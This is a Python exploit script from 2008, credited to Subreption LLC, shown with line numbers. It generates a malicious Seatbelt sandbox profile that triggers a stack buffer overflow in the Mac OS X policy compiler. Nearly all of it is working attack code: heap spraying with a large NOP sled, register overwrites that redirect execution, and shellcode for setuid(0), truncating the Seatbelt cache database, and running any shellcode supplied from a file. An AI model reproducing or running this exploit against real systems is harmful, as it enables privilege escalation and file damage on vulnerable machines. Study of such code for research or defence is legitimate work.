1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
|
#
# Copyright (C) 2008 Subreption LLC. All rights reserved.
# Author: Larry H <[email protected]>
#
import sys
import os
import struct
class SeatbeltParserSharpExploit(object):
"""
This class builds a profile to exploit the Mac OS X
Seatbelt policy compiler stack-based buffer overflow in sharp
constant processing.
"""
def __init__(self):
super(SeatbeltParserSharpExploit, self).__init__()
self.linesize = 1024
self.shellcode = ''
def set_shellcode(self, sc):
"""
This prefix stub does the following:
- Fixes EBP with ascii address at MALLOC_HUGE.
- Resets registersto zero.
- Sets ECX to start address of shellcode to support Alpha
encoded shellcode.
- Sets EAX to start address of MALLOC_HUGE region.
- Sets EDX to EAX + 8192.
Source:
00000000 BD43424120 mov ebp,0x20414243
00000005 31C0 xor eax,eax
00000007 31C9 xor ecx,ecx
00000009 31D2 xor edx,edx
0000000B B911100021 mov ecx,0x21001011
00000010 B810101010 mov eax,0x10101010
00000015 BA10301010 mov edx,0x10103010
"""
self.shellcode = ''
self.shellcode += '\xBD\x43\x42\x41\x20'
self.shellcode += '\x31\xC0'
self.shellcode += '\x31\xC9'
self.shellcode += '\x31\xD2'
self.shellcode += '\xB9\x11\x10\x00\x21'
self.shellcode += '\xB8\x10\x10\x10\x10'
self.shellcode += '\xBA\x10\x30\x10\x10'
self.shellcode += sc
def make_shellcode(self, sc):
segments = []
nchars = 0
segnum = 0
tmpbuf = ''
print('[*] Converting shellcode to Scheme string sequences...')
offset = 0
while offset < len(sc):
# make char a sharp hex constant
tmpbuf += ' #\\x%02x' % (ord(sc[offset]))
# check if remaining data < 16 or chars > 16
if nchars == 64 or (len(sc) - offset) == 1:
print(' sc%d (%d bytes to %d bytes).' % (segnum, nchars, len(tmpbuf)))
segments.append('(define sc%d (string %s))\n' % (segnum, tmpbuf.strip()))
nchars = 0
tmpbuf = ''
segnum += 1
nchars += 1
offset += 1
print('[*] Done, shellcode is %d bytes long.' % (len(sc)))
result = ''
tmpbuf = ''
offset = 0
for segment in segments:
result += segment
tmpbuf += 'sc%d ' % (offset)
offset += 1
print('[*] Shellcode segments: %s.' % (tmpbuf.strip()))
result += '(define shellcode (string-append %s))\n' % (tmpbuf.strip())
return result
def make_spray_call(self, shellcode, size = 256):
"""
A MALLOC_HUGE region is allocated via make-string with appended
shellcode segments. This bypasses length limitation.
make-string initializes the allocated memory with a NOP sled, using
memset. It takes a very short time because of optimization. The
256M size is optimal and yields 100% reliable and stable location
at the start of a unique MALLOC_HUGE region. No other HUGE regions
exist in the process.
Because we translate the raw shellcode to sequences of concatenated
strings made of sharp hexadecimal constants, there's no shellcode
size limit whatsoever.
"""
vmsize = size * (1024 * 1024) # MB
scline = self.make_shellcode(shellcode)
print('[*] Heap filler: %dM, with NOPs.' % (vmsize / (1024 * 1024)))
scsled = scline
scsled += '(define sled ('
scsled += 'string-append (make-string %d #\\x90) ' % (vmsize)
scsled += 'shellcode))\n'
return scsled
def make_profile(self):
profile = '(version 1)\n'
profile += self.make_spray_call(self.shellcode)
regs = (
('ebx', 0x10104343),
('esi', 0x10105858),
('edi', 0x10104646),
('ebp', 0xdeadbeef),
('eip', 0x10101010) # lands at MALLOC_HUGE
)
rgstate = ''
for reg, value in regs:
print(' %s register set to 0x%x' % (reg.upper(), value))
rgstate += struct.pack('<L', value)
payload = ''
payload += 'A' * 271
payload += rgstate
profile += '(define ABCD #o%s)\n' % (payload)
return profile
if __name__ == '__main__':
print('[*] Copyright (C) 2008 Subreption LLC. All rights reserved.')
exploit = SeatbeltParserSharpExploit()
sc = ''
#sc += '\xCC' # first int3 trap - uncomment for debugging
print('[*] Prepending setuid(0) shellcode stub.')
sc += "\x31\xC0" # xorl %eax, %eax
sc += '\x50' # pushl %eax
sc += '\x50' # pushl %eax
sc += '\xB0\x17' # movb $0x17,%al
sc += '\xCD\x80' # int $0x80
write_ascii_art_sc = \
'\xB8\xB8\xE2\x99\xF5\x35\xDD\xCC\xBB\xFF\x50\x68\x20\x68' \
'\x65\x72\x68\x6E\x74\x65\x72\x68\x68\x6F\x20\x65\x68\x79' \
'\x65\x20\x77\x68\x5F\x2F\x20\x20\x68\x65\x2C\x20\x2F\x68' \
'\x20\x68\x6F\x70\x68\x20\x61\x6C\x6C\x68\x6E\x64\x6F\x6E' \
'\x68\x22\x41\x62\x61\x68\x20\x20\x20\x20\x68\x0A\x20\x20' \
'\x20\x68\x5F\x5F\x5F\x2F\x68\x2F\x5F\x2F\x5C\x68\x20\x20' \
'\x2F\x5F\x68\x20\x2F\x5F\x2F\x68\x5F\x2F\x5F\x2F\x68\x5C' \
'\x5F\x5F\x5F\x68\x5F\x2F\x5F\x2F\x68\x5F\x2F\x5C\x5F\x68' \
'\x20\x2E\x5F\x5F\x68\x5F\x5F\x5F\x2F\x68\x20\x20\x20\x5C' \
'\x68\x5F\x2F\x5F\x2F\x68\x5F\x2E\x5F\x5F\x68\x5F\x2C\x5F' \
'\x2F\x68\x5F\x2F\x5C\x5F\x68\x2F\x5F\x5F\x5F\x68\x2F\x5F' \
'\x5F\x0A\x68\x2F\x20\x2F\x20\x68\x20\x20\x2F\x20\x68\x20' \
'\x2F\x20\x2F\x68\x20\x2F\x20\x2F\x68\x20\x2F\x5F\x2F\x68' \
'\x5F\x2F\x20\x2F\x68\x20\x2F\x20\x2F\x68\x20\x2F\x5F\x2F' \
'\x68\x20\x5F\x5F\x2F\x68\x20\x20\x2F\x20\x68\x20\x2F\x20' \
'\x2F\x68\x20\x2F\x5F\x2F\x68\x5F\x2F\x20\x2F\x68\x20\x29' \
'\x20\x2F\x68\x28\x5F\x5F\x20\x68\x5F\x2F\x0A\x20\x68\x2F' \
'\x20\x5F\x5F\x68\x2F\x20\x2F\x20\x68\x5C\x20\x20\x20\x68' \
'\x20\x5F\x5F\x20\x68\x5F\x20\x5C\x2F\x68\x20\x2F\x20\x5F' \
'\x68\x20\x5F\x5F\x2F\x68\x5F\x20\x5C\x2F\x68\x5C\x2F\x20' \
'\x5F\x68\x2F\x20\x5F\x20\x68\x20\x5F\x5F\x5F\x68\x5F\x20' \
'\x5C\x2F\x68\x20\x2F\x20\x5F\x68\x20\x2F\x20\x2F\x68\x5F' \
'\x5F\x5F\x2F\x68\x20\x20\x2F\x20\x68\x5F\x5F\x5F\x0A\x68' \
'\x2F\x20\x2F\x5F\x68\x20\x20\x2F\x20\x68\x5F\x20\x20\x20' \
'\x68\x20\x5F\x5F\x5F\x68\x5F\x5F\x5F\x20\x68\x5F\x28\x5F' \
'\x29\x68\x20\x2F\x20\x2F\x68\x5F\x5F\x5F\x20\x68\x5F\x20' \
'\x20\x5F\x68\x5F\x5F\x5F\x5F\x68\x20\x5F\x5F\x5F\x68\x20' \
'\x2F\x5F\x20\x68\x20\x5F\x5F\x2F\x68\x5F\x5F\x5F\x20\x68' \
'\x5F\x5F\x5F\x5F\x68\x0A\x20\x20\x20\x68\x5F\x5F\x5F\x5F' \
'\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20' \
'\x20\x68\x20\x20\x20\x20\x68\x5F\x20\x20\x5F\x68\x20\x20' \
'\x20\x5F\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20' \
'\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x5F\x5F\x20\x68' \
'\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20' \
'\x68\x0A\x0A\x20\x20\x89\xE3\xB8\xFF\xFF\xFF\xFF\x35\x83' \
'\xFE\xFF\xFF\x50\x53\x6A\x01\x31\xC0\xB0\x04\x50\xCD\x80' \
'\xB8\xFF\xFF\xFF\xFF\x35\x83\xFE\xFF\xFF\x50\x53\x6A\x03' \
'\x31\xC0\xB0\x04\x50\xCD\x80\x31\xC0\xB0\x01\x50\x50\xCD' \
'\x80'
try:
scfile = open(sys.argv[1])
sc += scfile.read()
scfile.close()
print('[*] Using raw shellcode at %s (%d bytes).' % (sys.argv[1], len(sc)))
print('[*] Appending exit(0) shellcode stub.')
sc += '\x31\xC0' # xorl %eax, %eax
sc += '\x50' # pushl %eax
sc += '\xB0\x01' # movb $0x01,%al
sc += '\xCD\x80' # int $0x80
sc += '\xC9' # leave
sc += '\xC3' # ret
except:
print('[!] No external raw shellcode provided.')
print('[*] Prepending truncate(3, 0) shellcode stub.')
print('[!] NOTE: this will truncate the current Seatbelt cache db.')
sc += "\x31\xC0" # xorl %eax, %eax
sc += '\xB0\x03' # movb $0x3, %al
sc += '\x50' # pushl %eax
sc += "\x31\xC0" # xorl %eax, %eax
sc += '\x50' # pushl %eax
sc += '\xB0\xC9' # movb $201, %al
sc += '\xCD\x80' # int $0x80
print('[*] Appending Subreption LLC ASCII logo write shellcode.')
print('[*] NOTE: Check seatbelt-cache.db contents after exploit.')
sc += write_ascii_art_sc
pass
exploit.set_shellcode(sc)
profile = exploit.make_profile()
print('[*] Writing %d bytes to profile exploit.' % (len(profile)))
out = open('seatbelt_sharp_exploit.sp', 'wb')
out.truncate()
out.write(profile)
out.close()
print('[*] Done.')
print('[+] Test with: sandbox-exec -f seatbelt_sharp_exploit.sp /bin/date')
|